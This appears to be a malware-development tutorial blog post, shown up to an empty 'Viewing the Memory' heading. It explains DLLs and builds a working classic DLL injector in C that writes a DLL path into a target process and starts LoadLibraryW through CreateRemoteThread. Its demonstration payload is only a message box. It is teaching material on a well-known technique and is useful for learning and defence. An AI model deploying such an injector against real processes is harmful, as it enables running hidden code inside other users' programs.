# DLL Injection

<details>

<summary>Table of Contents</summary>

* [Foreword](#foreword)
* [Dynamic Link Libraries](#dynamic-link-libraries)
  * [Creating Our First DLL](#creating-our-first-dll)
  * [Loading Our DLL](#loading-our-dll)
* [Creating the Program](#creating-the-program)
* [Performing the Injection](#performing-the-injection)
  * [Common Pitfalls](#common-pitfalls)
* [Viewing the Memory](#viewing-the-memory)
* [References](#references)

</details>

## Foreword

Welcome once again to the next *step up* from our simple process injection! I've gone ahead and rewritten the code from this blog post's original code because I've learned *a lot* since then. I'd also like it to improve the code shown in the video; which if you haven't seen, goes into depth about [shellcode injection](/nest/mal/dev/inject/shellcode-injection.md) and the technique we'll be discussing today. You can find it below:

{% embed url="<https://www.youtube.com/watch?v=A6EKDAKBXPs>" %}
Malware Development II: Process Injection
{% endembed %}

I hope you enjoy the blog post, and the video—I also apologize for how long it took to redo this blog post. I haven't abandoned it, I'm just [tired, lazy, and burnt out](#user-content-fn-1)[^1]. Also, please allow me to copy and paste my initial disclaimer from my [shellcode injection blog post](/nest/mal/dev/inject/shellcode-injection.md).

{% hint style="warning" %}
Once again, I'm just a ~~nerd~~ normal dude trying his best to learn. I'm not claiming to be some levitating primordial maestro at programming, the author of any of these techniques found in the blog, or an expert at developing malware. Please excuse the [outlast](https://en.wikipedia.org/wiki/Outlast) levels of clinically insane coding practices I might subject your eyes to. I'm constantly learning and trying to improve, and as such, my coding practices, [as a function of time](#user-content-fn-2)[^2], will get better and better the longer I do this. Hopefully, the blog and the GitHub repository will reflect this. I'll constantly update the code and blog posts as I get better at pointing out better ways of doing certain things, cleaner code, etc.
{% endhint %}

## Dynamic Link Libraries

Before we start injecting a Dynamic Link Library (DLL), it's important to understand what a DLL is. If you're already familiar with this, you can skip to the [next section](#creating-our-first-dll). A DLL is a set of data or executable functions that a Windows application can use. They allow multiple applications to share the same code, rather than each application containing all the necessary code *individually*. This modular approach helps programmers share common code among different applications, reducing the size and complexity of the codebase and saving time and effort in software development. In Windows, practically any process you open will rely on some DLL to function properly. Take `notepad.exe`, for example. It seems like a very simple program, right? Seems so. That is until we examine all the DLLs it loads:

<figure><img src="/files/gcBOWv3NHWsUYlkQaXAr" alt=""><figcaption><p><em>Some</em> of the modules loaded by notepad</p></figcaption></figure>

{% hint style="info" %}
The terms "DLL", "Library", and "Modules" are used interchangeably in this blog post and in many others.&#x20;
{% endhint %}

Even for a seemingly *simple* program like Notepad, the number of modules it loads is a considerable amount. All of these modules in some way or another give functionality to the `notepad.exe` application. By the way, the tool I'm using to view this is [Process Hacker 2](https://processhacker.sourceforge.io/downloads.php):

{% embed url="<https://processhacker.sourceforge.io/downloads.php>" %}
Process Hacker 2 Download
{% endembed %}

{% hint style="info" %}
Hey, Crow from the future here. Process Hacker isn't maintained anymore. Use [SystemInformer](https://systeminformer.sourceforge.io/) instead.
{% endhint %}

With a short little synopsis of DLLs out of the way, let's make our own DLL! If you want to read more about DLLs, what they are, how they work, and why they're important, check out the links below (they'll also be in the "[References](#references)" section):

{% embed url="<https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library>" %}
"What is a DLL" from [MSDN](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library)&#x20;
{% endembed %}

{% embed url="<https://stackoverflow.com/questions/124549/what-exactly-are-dll-files-and-how-do-they-work>" %}
What are DLLs, and how do they work?
{% endembed %}

### Creating Our First DLL

If you'll recall from the first video in our malware development series, we created a message box program. When run, it would spawn a humble little message box like the following:

<figure><img src="/files/BjXxGBTj13GWB3J9briC" alt=""><figcaption><p>Message box program</p></figcaption></figure>

Now, what if we wanted to create a DLL that did the *exact* same thing as this program? In other words, could we create a DLL that creates a message box for a quick little DLL hello world? Of course, we can! It's not even *that* difficult either! There are *slight* differences between programming "normal" applications and DLLs/libraries but it's not too bad. Firstly, we need to talk about the entry point of a DLL, `DllMain`.

<figure><img src="/files/DbEtay8fIRUOmxTJc7XA" alt=""><figcaption><p><code>DllMain</code> from <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain">MSDN</a></p></figcaption></figure>

Just as our standard applications have a main entry point i.e., [the `main` function](#user-content-fn-3)[^3]. So too do the DLLs. The `DllMain` is a DLL's "`main`" entry point equivalent. We need to set this up properly otherwise our DLL isn't going to work. Before making our DLL, let's quickly start dissecting how a DLL works when a process loads one into memory. The documentation itself provides a great overview of what happens:

<figure><img src="/files/AiEnFks10IbPyHHqa7Vr" alt=""><figcaption><p>Overview of the DLL loading process</p></figcaption></figure>

Whenever a process loads a DLL using the [`LoadLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) and freed using the [`FreeLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) function, the entry-point function for a DLL is called. In that entry-point function, there resides a switch-case block which will be the core "logic" of our DLL. So, if we were to coerce our target process to load our DLL, our code would be executed *automatically*! Let's start developing our message box DLL. Firstly, if you're doing this in Visual Studio, there's a bit of setup required to compile our DLL properly. You can also very easily compile it with a compiler of your choice if you don't want to use Visual Studio/MSVC, but you'll have to do your own research for that, I'm afraid. Create a new project in Visual Studio:

<figure><img src="/files/Uj7wx9y32tiRQyGwpYfL" alt=""><figcaption><p>Project Properties</p></figcaption></figure>

Right-click on the project, and head to `Properties`. Once you get to the new window, you want to change the following settings:

<figure><img src="/files/yc4X8DcvK6JCbaihpUJh" alt=""><figcaption><p>Configuration Type and <code>C++</code> Language Standard</p></figcaption></figure>

We need to set our `Configuration Type` to `Dynamic Library` (`.dll`) since we're trying to create a DLL. While we're here, we might as well change the `C++` language standard to `C++20` although this is completely optional and won't matter for our DLL. With that done, let's add a source file. Once we've added our source file, we can add in the Windows header and start codin[^4]':

<figure><img src="/files/bcYxWNanadX3sK2sG0tX" alt=""><figcaption><p>Inital setup</p></figcaption></figure>

We create a `BOOL` type function but you might notice the presence of the "`WINAPI`" macro. What is that, you might ask? If we hover over the `WINAPI` macro, we can see that it just expands out to a "`__stdcall`":

<figure><img src="/files/cCnHXzg6bIhQNUuJtTSb" alt=""><figcaption><p><code>WINAPI</code> expands to <code>__stdcall</code></p></figcaption></figure>

That's not of much help if you don't already know what "`__stdcall`" is in the first place, so let's quickly go over what that is just so we're all on the same memory-allocated page, so to speak.

<figure><img src="/files/CFFROaKMkbnWTsOcmieC" alt=""><figcaption><p><code>__stdcall</code> summary from <a href="https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170">MSDN</a></p></figcaption></figure>

{% embed url="<https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170>" %}
`__stdcall` from MSDN
{% endembed %}

As we can see, the `__stdcall` "*calling convention*" is used to call WinAPI functions. In other words, the WinAPI uses *this* calling convention. Calling conventions are just things that determine how arguments are passed to a function, where parameters are stored, in which order, etc. Of course, `__stdcall` isn't the *only* calling convention. Classically, `__cdecl` is another famous one as well. Another cool little thing about `__stdcall` is that parameters are pushed on the stack in reverse order (right to left instead of left to right):

<figure><img src="/files/3f4F5RRZziLVjH7Jzzwk" alt=""><figcaption><p><code>__stdcall</code> parameter passing</p></figcaption></figure>

If you disassembled/debug a program that utilizes the WinAPI—which as we've just learned, uses the `__stdcall` calling convention, you'd actually be able to see the argument passing order in the disassembly as described in the picture above; we'll be sure to look at this soon. You can read more about `__stdcall` and the other conventions down below:

{% embed url="<https://learn.microsoft.com/en-us/cpp/cpp/argument-passing-and-naming-conventions?view=msvc-170>" %}
Read more here
{% endembed %}

&#x20;So, if you see certain functions during your time researching and they're defined like the following:

{% code overflow="wrap" %}

```cpp
// Example of the __stdcall keyword
#define WINAPI __stdcall
// Example of the __stdcall keyword on function pointer
typedef BOOL (__stdcall *funcname_ptr)(void* arg1, const char* arg2, DWORD flags, ...);
```

{% endcode %}

You can rest easy because you're now aware of what the `__stdcall` calling convention is, its little quirks, and how different macros like "`WINAPI`" are defined by using them. Let's continue developing our DLL.

{% code title="dll.c" overflow="wrap" %}

```cpp
#include <Windows.h>

/* you can use the WINAPI macro in place of __stdcall here. however, since we just learned about it, why not use it? :) */
BOOL __stdcall DllMain(HINSTANCE ModuleHandle, ...) {
    return TRUE;
}
```

{% endcode %}

The first parameter of this function, "`hinstDLL`" (which I've renamed to "`ModuleHandle`"), is where we define a handle for the DLL module that we're about to create. The value of this is the[ base address](https://www.techopedia.com/definition/3746/base-address) of the DLL, as all module handles are. Recall that handles are just void pointers (quite literally, a `HANDLE` is defined as: `void*`), they're just addresses, in case you're confused about what these things are. You might be asking why we'd need to get a handle on modules in the first place. Well, let's take a look at an example that uses a function we'll be using later on, but momentarily shown here; albeit, a bit prematurely:

```cpp
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);
```

Ah, yes. The ever-so-popular, [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) function. We'll touch upon it more when we get to the "[Creating the Program](#creating-the-program)" section, for now, all you need to know is that this function will retrieve the address of a function within a library. In order for `GetProcAddress` to do that, however, it needs a handle to that aforementioned DLL. So, for situations like this, [handles to modules](#user-content-fn-5)[^5] are necessary.

{% hint style="info" %}
Another thing to note is that the `HINSTANCE` of a DLL is the same as the `HMODULE` of the DLL, so `ModuleHandle` in this case, can be used in calls to functions that require a handle to a module. Like we just talked about with `GetProcAddress`. Inside of `minwindef.h`:

```cpp
DECLARE_HANDLE(HINSTANCE);
typedef HINSTANCE HMODULE;      /* HMODULEs can be used in place of HINSTANCEs */
```

{% endhint %}

The next parameter, `fdwReason` (which I've renamed to "`Reason`"), is the "reason code that indicates why the DLL entry-point function is being called." Basically, it's a variable that tells us what's happened with the DLL, things like if it got loaded (*attached*) in a process/thread, or unloaded (*detached*) from the process/thread. Based on what happens, our DLL can do specific things in correspondence to the `fdwReason`. It can be one of the following values, as shown in the documentation:

<figure><img src="/files/FIDgoaDMj6btnRlQtmvu" alt=""><figcaption><p>Reason codes for DLLs</p></figcaption></figure>

So, with our code updated, we're currently here:

{% code title="dll.c" %}

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE ModuleHandle, DWORD Reason, ...) {
    return TRUE;
}
```

{% endcode %}

The last parameter, `lpvReserved` (which I've renamed to "`Reserved`"), is just a reserved parameter that we're required to supply to this `DllMain` function. Sometimes you might see some "reserved" arguments that need to be passed to functions, that's perfectly normal and it's just something we have to include. If you're curious as to what they actually do and what it means, you can check the documentation:

<figure><img src="/files/o9XZSHC4xY4jXS5RIh09" alt=""><figcaption><p><code>lpvReserved</code> documentation</p></figcaption></figure>

That brings us to here:

{% code title="crow\_dll.c" %}

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE ModuleHandle, DWORD Reason, LPVOID Reserved) {
    return TRUE;
}
```

{% endcode %}

With the `DllMain` entry-point function created, we can start getting to the meat and bones of the DLL; the `switch` cases. Our cases are going to depend entirely on the `Reason` parameter.

{% hint style="info" %}
The documentation includes all of these reason values in their switch-case block: `DLL_PROCESS_ATTACH`, `DLL_THREAD_ATTACH`, `DLL_THREAD_DETACH`, and`DLL_PROCESS_DETACH`. However, we don't need to include *all* of these. We can just include what we're actually interested in, which is just the `DLL_PROCESS_ATTACH` for when a process loads our DLL and optionally, `DLL_PROCESS_DETACH` for when the process unloads it. By all means, if you wish to experiment with the other reasons, go ahead! You'll only benefit from your experimentation.
{% endhint %}

We only really care about the `DLL_PROCESS_ATTACH` reason, however, you can (and should) experiment with the other cases as well; maybe even use them in conjunction with each other. If we look at the documentation for the `DLL_PROCESS_ATTACH` value once again, we can see:

<figure><img src="/files/LGo3cmA3vnChOSqDieZQ" alt=""><figcaption><p><code>DLL_PROCESS_ATTACH</code> reason</p></figcaption></figure>

We can see that this value, `DLL_PROCESS_ATTACH`, will be the value of our `Reason` if our DLL gets loaded into the VAS[^6] of the process. So, in the case statement for this value, let's put in our "malicious" code, the incredibly dangerous [`MessageBox`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox) function that we're all familiar with by now:

{% code title="dll.c" %}

```cpp
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    switch (dwReason) {

        case DLL_PROCESS_ATTACH:
            /* if some process loads our DLL, execute this world-ending event */
            MessageBoxW(NULL, L"WHO GOES THERE", L"KAW KAW KAW", MB_ICONEXCLAMATION);
            break;
    }

    return TRUE;

}
```

{% endcode %}

That's pretty much it! Again, you're encouraged to interact with the other reason codes, but for our purposes, this is enough for now. After compiling, we can test our DLL using a program like [`rundll32`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32). The syntax of the command is: `rundll32` `your.dll`,`SomeFunctionInTheDLL`.

```powershell
PS C:\Users\crow> rundll32 crow.dll,DllMain
```

In this case, we want to run our `DllMain` function, so let's try that and see if we get a message box.

<figure><img src="/files/4NGOsDFLBVsX069rKZzk" alt=""><figcaption><p>It's working!</p></figcaption></figure>

Nice, it's working perfectly! Note that after you press okay, `rundll32` might give you an error, it's perfectly fine, you don't have to worry about it. If this is your first time making a DLL, congratulations! You can find the source code for the DLL we've created down below or in the [GitHub repository](https://github.com/cr-0w/maldev/blob/main/DLL%20Injection/dll/crow.dll) for this blog post:

{% file src="/files/9lrzdpp5DgSuQaPgxjh0" %}
Source code for DLL
{% endfile %}

### Loading Our DLL

We've created our DLL. Let's now discuss the process of loading it from another program. I think it's necessary to figure this out because otherwise, we're just making malware without *understanding* what's happening in the background. If we recall, there were some mentions of the [`LoadLibrary` ](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya)function. This will be the function we use to... well, *load our library.* If we look at the documentation of this function, we'll see the following:

<figure><img src="/files/plGDeQIdJvt9QgZH7Zkb" alt=""><figcaption><p><code>LoadLibrary</code> summary</p></figcaption></figure>

<figure><img src="/files/y3d6cGBuyssbJXTJq8Ov" alt=""><figcaption><p><code>LoadLibrary</code> syntax</p></figcaption></figure>

We see that this function will load a module into the address space of the calling process, and we *know* what happens when a DLL gets loaded by a process, remember? The entry-point function of the said DLL will automagically run when it's loaded; we don't even have to do anything!&#x20;

<figure><img src="/files/8ji5ORkpqT1yCiQcupgw" alt=""><figcaption><p>Automatically runs our DLL</p></figcaption></figure>

`LoadLibrary` is also of the `HMODULE` type because it will return a valid handle to the module (if it's able to get one; in other words, if it can find the library you're looking for and supplied as an argument). It takes in one (`1`) argument: `lpLibFileName`, the name of the desired library itself.

{% hint style="info" %}
The `lpLibFileName` doesn't just have to be a DLL, you can actually load an executable module (an`.exe` file) as well. However, if you don't supply an extension for this argument, it'll default to a `.dll` extension.
{% endhint %}

For this argument, we will submit the entire path of our DLL. However, as seen from the documentation, there are other searching methods (and considerations) you can take note of, like specifying a relative path:

<figure><img src="/files/SrvEbK5zpzkWX6Rm6xWU" alt=""><figcaption><p>Specifying the module</p></figcaption></figure>

Also, consider the little note about using backslashes (`\`) when specifying a path and not forward slashes (`/`). With this in mind, let's make another quick little dirty program that'll load our DLL, and once it does, it should run our message box.

{% code title="load\_dll.c" %}

```c
#include <windows.h>
#include <stdio.h>

#define DLL L"C:\\path\\to\\your.dll"
#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(void) {

    INFO("trying to load \"%S\"...", DLL);
    HMODULE CrowHandle = LoadLibraryW(DLL);
    if (CrowHandle == NULL) {
        PRINT_ERROR("LoadLibraryW");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] got a handle on %S!", CrowHandle, DLL);

    FreeLibrary(CrowHandle);
    INFO("[0x%p] freed the module...", CrowHandle);
    return EXIT_SUCCESS;

}
```

{% endcode %}

This program starts off by defining a variable of the `HMODULE` type called `CrowHandle`. This will hold the base address of our DLL; in other words, it's the handle we get on our module. Then, we try to load the library using the `LoadLibraryW` function into the address space of the space. Since we know that `LoadLibraryW` returns `NULL` if it errors out, we can make a quick little check to see if we were able to get a handle on the module or not. If not, we'll print out the [system error codes](https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-) given to us by [`GetLastError`](https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror) function (this is done in the `PRINT_ERROR` macro). After verifying that we have a valid handle on our module, we can print the [address of the module](#user-content-fn-7)[^7]. Finally, we can unload the DLL using the [`FreeLibrary`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) function:

<figure><img src="/files/eFfw0PW9t9aisAbcT4ro" alt=""><figcaption><p><code>FreeLibrary</code></p></figcaption></figure>

<figure><img src="/files/HWTnNsvETDVRQ97zVTFL" alt=""><figcaption><p><code>FreeLibrary</code></p></figcaption></figure>

If we compile this program and run it, we can see that the program will *load* our DLL with `LoadLibraryW` and a message box will pop up, as planned!

<figure><img src="/files/Rgl5LIyQqmIAH9UDZJah" alt=""><figcaption><p>Message box loads!</p></figcaption></figure>

It works! The only thing that kind of sucks is that the rest of our output will only be shown after we press okay, which is fine, this won't be the case when we inject it. After pressing enter/return, we can see the following output:

<figure><img src="/files/vmxhIlhzALCLsz4W567e" alt=""><figcaption><p>Expected output</p></figcaption></figure>

Awesome! We now have a much deeper understanding of how all of this loading stuff works, which is going to equip us adequately for the next section. Speaking of which, let's finally begin making our DLL injector.

## Creating the Program

A lot of the code will be extremely identical to the code from the [shellcode injection blog](/nest/mal/dev/inject/shellcode-injection.md#creating-the-program). I'll program this out, and then we'll cover what's different about this when we get there.

<pre class="language-c" data-title="dll_injection.c"><code class="lang-c">#include &#x3C;windows.h>
#include &#x3C;stdio.h>

#define DLL L"C:\\path\\to\\your.dll"
#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(int argc, char* argv[]) {

    SIZE_T  PathSize       = sizeof(DLL);
    SIZE_T  BytesWritten   = 0;
    DWORD   TID            = 0;
    DWORD   PID            = 0;
    BOOL    State          = TRUE;
    PVOID   Buffer         = NULL;
    PVOID   p_LoadLibrary  = NULL;
    HANDLE  ThreadHandle   = NULL;
    HANDLE  ProcessHandle  = NULL;
    HMODULE Kernel32Handle = NULL;

    if (argc &#x3C; 2) {
        WARN("usage: \"%s\" &#x3C;PID>", argv[0]);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    INFO("trying to get a handle on the process (%ld)...", PID);
    ProcessHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID); /* PROCESS_ALL_ACCESS is a bit overkill for us here */
    if (ProcessHandle == NULL) {
        PRINT_ERROR("OpenProcess");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] got a handle on the process!", ProcessHandle);

<strong>    [...] // get a handle on Kernel32
</strong>
    INFO("[0x%p] waiting for the thread to finish execution...", ThreadHandle);
    WaitForSingleObject(ThreadHandle, INFINITE);
    OKAY("[0x%p] the thread finished execution, beginning cleanup...", ThreadHandle);
    
CLEAN_UP:

    if (ThreadHandle) {
        CloseHandle(ThreadHandle);
        INFO("[0x%p] closed the handle on the thread", ThreadHandle);
    }
    if (ProcessHandle) {
        CloseHandle(ProcessHandle);
        INFO("[0x%p] closed the handle on the process", ProcessHandle);
    }

    INFO("finished with cleanup, exiting...");
    return State;

}
</code></pre>

{% hint style="info" %}
You might also be better off using `strlen` or something to get the size of the string as well as adding `+ 1` to account for the null terminator. However, for this example, we don't have to because `VirtualAlloc(Ex)`creates and initializes a zeroed-out memory page, so we're good for now. &#x20;
{% endhint %}

So, we do our usual thing, we declare and initialize some variables that we'll be using in our program. We check to see if the program's been supplied with a `PID`, and if so, we'll try to open a handle to the process for which the `PID` belongs to. After a valid handle has been obtained, we'll print it out. A new thing you might see, from my previous code, is the edition of this `CLEAN_UP` label. In the eternal quest to make my code better and better, I was made aware of "`goto`" for error handling and simple cleanup by my incredible friend [5pider](https://twitter.com/C5pider). It'll just make our code easier to manage; especially because we're error-handling pretty much every function that we use.

{% hint style="warning" %}
Some people are fiercely against using `"goto"` in your program, mainly because of [readability/spaghetti code if you abuse it](https://stackoverflow.com/questions/3517726/what-is-wrong-with-using-goto), but for small tasks like error handling/cleanup, I'll die on the "it's perfectly valid and okay (and honestly, kind of amazing) to use it" hill.&#x20;
{% endhint %}

There are some new `State` and `p_LoadLibrary` variables which we've never seen before. The former is just to keep track of the error/success in our process since we're going to be using the `CLEAN_UP` label, this provides a very nice way for us to signal if the reason for the cleanup was due to an error or due to the execution flow reaching its natural end. Secondly, the `p_LoadLibrary` variable is just a variable that will eventually hold the address of the `LoadLibrary` function (in other words, it will point to the address of `LoadLibrary` which we denote with a `p_` prefix), which we'll talk about really soon.

Currently, we're at the "get a handle to `Kernel32`" portion of the program. We've already experimented with getting handles to modules in "[Loading Our DLL](#loading-our-dll)", it's the same idea here except the DLL we're trying to get a handle on is `Kernel32.dll`. Another difference is that we're going to be using the [`GetModuleHandle`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) function, which we'll cover in a moment. First, let's talk about why we chose `Kernel32.dll`? Why *this* DLL specifically? Well, if we take a look at an incredible resource like the one below:

{% embed url="<https://www.geoffchappell.com/studies/windows/win32/kernel32/api/index.htm>" %}
`Kernel32` functions, from [Geoff Chappell](https://www.geoffchappell.com/)
{% endembed %}

<figure><img src="/files/SDadNehuJqPRcsSldrk0" alt=""><figcaption><p>Nearly 2,000 <code>Kernel32</code> functions</p></figcaption></figure>

We can see just how many functions there are in this DLL. But, that's not all. If we look for some functions that *we've already been using*, like `CreateRemoteThread`, `OpenProcess`, `VirtualAlloc`, etc., we can see that all of them *come from* this library:

<figure><img src="/files/Fr00qpuI2VwU4RiL50XB" alt=""><figcaption><p>Common functions present in <code>Kernel32</code></p></figcaption></figure>

The function we're interested in, for the purposes of our DLL Injection, is the `LoadLibrary` function. As expected, it's here as well:

<figure><img src="/files/xgRbcOkI5u2p31p0ogk3" alt=""><figcaption><p><code>LoadLibrary</code> is here, fellas!</p></figcaption></figure>

{% hint style="info" %}
If you're actually curious as to what `Kernel32` itself is, not just its contents, then keep reading: `Kernel32` exposes most of the Win32 APIs, like memory management, input/output (I/O) operations, process and thread creation, synchronization functions, etc., to applications. It's an extremely important and core library that many Windows applications use. As we'll see when we touch upon future posts regarding `NTAPI/NTDLL`, when you call a function like `OpenProcess` from `Kernel32.dll`, it will call the corresponding native API function (in this case, `NtOpenProcess`) from `NTDLL.dll`. You can read more about this [here](https://www.thewindowsclub.com/hal-dll-kernel32-dll-user32-dll-files-explained?expand_article=1) and [here](https://en.wikipedia.org/wiki/Microsoft_Windows_library_files).
{% endhint %}

So, if we're able to get a handle to `Kernel32`, we can then use a function like [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress), to get the address of the `LoadLibrary` function within `Kernel32` so that we can use it for our exploit. Let's continue developing:

```cpp
    [...]
	
    INFO("getting a handle to Kernel32...");
    Kernel32Handle = GetModuleHandleW();
	
    [...]
```

If we take a look at the syntax for the `GetModuleHandleW` function, we'll see that it returns a handle to our specified module. It takes in one (`1`) argument, `lpModuleName`, which is just the name of the module we wish to get a handle on (because this is a wide function—denoted by the "`W`," the function expects a `LPCWSTR` argument; which is just [fancy Microsoft bloat](#user-content-fn-8)[^8] for a "wide string"):

<figure><img src="/files/9XdtZPZjcUeqQQmfjMIy" alt=""><figcaption><p><code>GetModuleHandle</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea">MSDN</a></p></figcaption></figure>

Let's supply in the name of the module, `Kernel32` to this function, and then check to see if a valid handle to the module has been returned or not. If it has, we'll print out the value of the handle (which is just going to be the base address of the `Kernel32` DLL).

```c
    [...]
	
    Kernel32Handle = GetModuleHandleW(L"Kernel32.dll");
    if (Kernel32Handle == NULL) {
        PRINT_ERROR("GetModuleHandleW");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] got a handle to Kernel32!", Kernel32Handle);
    
    [...]
```

Nice, if all goes to plan, we can extract out addresses of functions from within this library! How could we do that, you might ask? With the use of the *aptly-named* (and commonly-abused) [`GetProcAddress`](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) functio&#x6E;*.*

<figure><img src="/files/Y2wWYEwpzP1oLSl8VPfZ" alt=""><figcaption><p><code>GetProcAddress</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">MSDN</a></p></figcaption></figure>

This function will get the address of an exported function (also known as a procedure) or variable from the specified DLL. The first parameter, `hModule`, is the handle to the module of the DLL that we'd like to get the function address from, in this case, it's the handle to `Kernel32` which we've got tucked away within our `Kernel32Handle` variable:

```cpp
    [...]
	
    p_LoadLibrary = GetProcAddress(Kernel32Handle, ...);
    
    [...]
```

The next parameter is the procedure name that we wish to get the address of, we want `LoadLibraryW` from `Kernel32`, so, let's supply that.

```cpp
    [...]
	
    p_LoadLibrary = GetProcAddress(Kernel32Handle, "LoadLibraryW");
    if (p_LoadLibrary == NULL) {
        PRINT_ERROR("GetProcAddress");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] got the address of LoadLibraryW!", p_LoadLibrary);
    
    [...]
```

The rest of the code is going to be pretty much the same as the one from the [blog post above](/nest/mal/dev/inject/shellcode-injection.md). Recall that we still have to allocate some memory for our DLL path in the remote process, as well as write to it:

```c
    [...]
    
    Buffer = VirtualAllocEx(ProcessHandle, NULL, PathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Buffer == NULL) {
        PRINT_ERROR("VirtualAllocEx");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] [RW-] allocated a %zu-byte buffer with PAGE_READWRITE [RW-] permissions", Buffer, PathSize);

    if (!WriteProcessMemory(ProcessHandle, Buffer, DLL, PathSize, &BytesWritten)) {
        PRINT_ERROR("WriteProcessMemory");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] [RW-] wrote %zu-bytes to the allocated buffer", Buffer, BytesWritten);
    
    [...]
```

The only thing that changes is that for `CreateRemoteThreadEx`, we're going to be setting the additional flag that we talked about in the last blog post:

{% code title="main.c" %}

```c
    [...]    
    
    ThreadHandle = CreateRemoteThread(
        ProcessHandle, 
        NULL, 
        0, 
        p_LoadLibrary, /* effectively, what we're doing here is LoadLibrary(DLL); */
        Buffer,        /* holds our DLL path                                      */
        0, 
        &TID
    );
    if (ThreadHandle == NULL) {
        PRINT_ERROR("CreateRemoteThread");
        State = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] successfully created a thread (%ld)!", ThreadHandle, TID);
    
    [...]
```

{% endcode %}

I'll take a moment to explain the code above a bit. It's sort of beautiful when you figure out how this works. Recall that `LoadLibrary` takes in an argument in the manner of a string of your desired module to load. If we only had that so far, then when we injected our target process, nothing would happen because we didn't supply `LoadLibrary` with an argument; i.e., our malicious DLL's path. So, in order to supply an argument, `CreateRemoteThread` has the "`lpParameter`" parameter.

<figure><img src="/files/TyPdFPYxWSqefyXibFoM" alt=""><figcaption><p>The <code>lpParameter</code> documentation for <code>CreateRemoteThread</code></p></figcaption></figure>

This is how we actually give our `LoadLibrary` function an argument to use, by setting this `lpParameter` parameter to be our `DLL` path. So, effectively, what we've tasked our potential thread to run is the following: `p_LoadLibrary(DLL);`. It might take a moment or two to completely understand this procedure, but once you do, you'll appreciate the subtle beauty behind this mechanism of supplying functions this way. You can find the finished code embedded below or in the [GitHub repository](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/DLL%20Injection) for this entire series:

{% file src="/files/JJmAd6vzWfaZTuj3FJKT" %}
Finished source code for DLL injection
{% endfile %}

## Performing the Injection

After finally compiling our program, we can now test it out by injecting it against a target process.

<figure><img src="/files/aeB04yEMnOPM6NkEaLY6" alt=""><figcaption><p>DLL injected into target process</p></figcaption></figure>

Incredible! It loads our DLL and we can see our payload gets executed! Another thing you'll note is that after we press on `OK`, the thread finishes and our program exits, all thanks to the [`WaitForSingleObject` ](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)function!

<figure><img src="/files/rVTiE1hyh9I6R6gHByU9" alt=""><figcaption><p>Finished executing!</p></figcaption></figure>

Awesome! We've finally injected a DLL into our target process. Let's cover some common pitfalls and caveats to injecting our DLLs in this way.

### Common Pitfalls

One thing you'll notice is that if you try to inject the same process multiple times, your DLL won't be loaded again after the first time. An incredible blog post by Brad Antoniewicz mentions this:

> Another slightly annoying caveat is that if a DLL has already been loaded once with `LoadLibraryA()`, it will not execute it. You can work around this issue but it's more cod&#x65;*.* \
> — Brad Antoniewicz, [Open Security Research Blog](https://web.archive.org/web/20230328172918/http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html)

## Viewing the Memory

